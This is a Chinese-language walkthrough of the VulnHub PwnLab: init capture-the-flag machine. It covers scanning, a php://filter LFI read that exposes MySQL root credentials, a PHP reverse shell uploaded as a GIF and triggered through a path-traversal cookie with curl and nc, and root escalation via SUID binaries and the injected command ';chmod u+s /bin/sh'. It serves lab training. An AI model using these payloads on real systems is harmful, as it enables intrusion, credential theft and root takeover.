VulnHub-PwnLab-Walkthrough
靶机地址:
https://www.vulnhub.com/entry/pwnlab-init,158/
下载镜像直接用VMware打开即可。
靶机难度:中级(CTF)
一、实验环境
攻击机:ip
靶机:192.168.31.138
二、要求
得到root权限&找到flag.txt
三、复现
信息收集
探测存活主机
命令:netdiscover或nmap -sS -sV -A -p- 192.168.31.0/24
探测已开放端口
命令:nmap -sS -sV -A -p- 192.168.31.138
开放80、111、3306、42147最后一个端口每个扫出来的都不一样
有个web应用,按照套路来使用nikto对web服务器中隐藏或配置错误的目录或文件进行扫描
命令:nikto -h 192.168.31.138
config.php包含mysql或登录表单的凭据…还有登录页面和images目录
先访问web服务器看看
看到一个登陆界面,但是看URL地址,第一反应是不是又有LFI ,但是试了下正常文件包含显示空白,猜测目标靶机代码做了一定的过滤,这里需要通过为协议进行读取操作,可以看出存在LFI漏洞利用
http://192.168.31.138/?page=php://filter/convert.base64-encode/resource=config
方法一PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+ 解码
方法二
echo "PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+" | base64 -d
知道数据库信息我们登录看看
知道密码H4u%QJ_H99后登录(config.php是数据库的信息)
mysql -uroot -pH4u%QJ_H99 -h 192.168.31.138
成功进入mysql…用之前章节教给大家的命令开始收集信息
命令 show databases; 查看数据库
命令 use Users 使用这个数据库名
查看用户名
发现三个用户密码,解码
登录第一个kent JWzXuBJJNy
文件上传
提权
随便上传个文件告诉只能上传图片
这个一个写好的php的shell,将这个文件复制出来,修改一下
使用修改本地IP即可
命令 nano 文件名
将这个php改成图片
命令 mv 文件名 文件名.gif
上传
查看源代码
需要触发gif,才能反弹shell拿到权限
先dirb爆破下web服务器
这边发现index有个php文件,访问
解开PHP文件,可以看出
include(“lang/”.$_COOKIE[‘lang’]);
这边用curl打开cookie,引出打开gif文件
命令:
curl -v --cookie “lang=../upload/450619c0f9b99fca3f46d28787bc55c5.gif”
http://192.168.31.138/index.php
因lang是在index.php解析中得到的,也得用它来访问gif
另一端开启nc,运行curl成功提得低权
这边使用su提权,提示:身份认证失败…更换另外两个用户试试
su kane
iSv5Ym2Go
可以看出kane是可以用su提的…进入kane目录发现有个mike权限使用的msgmike文件
执行后……看起来该程序的作者试图在cat不提供完整路径的情况下运行了命令
看到Mike用户在mikeand和kane组中…设置了SUID位…进入了mike用户
在mike用户中,有msg2root文件能执行root权限,这边简单代码执行试试,成功进入部分目录执行root权限…查看
了flag.txt,这算是伪root权限…既然知道了msg2root可执行,可插入shell,那就换句木马就能提权了…
例如在执行msg2root输入;chmod u+s /bin/sh,在输出/bin/sh可提root权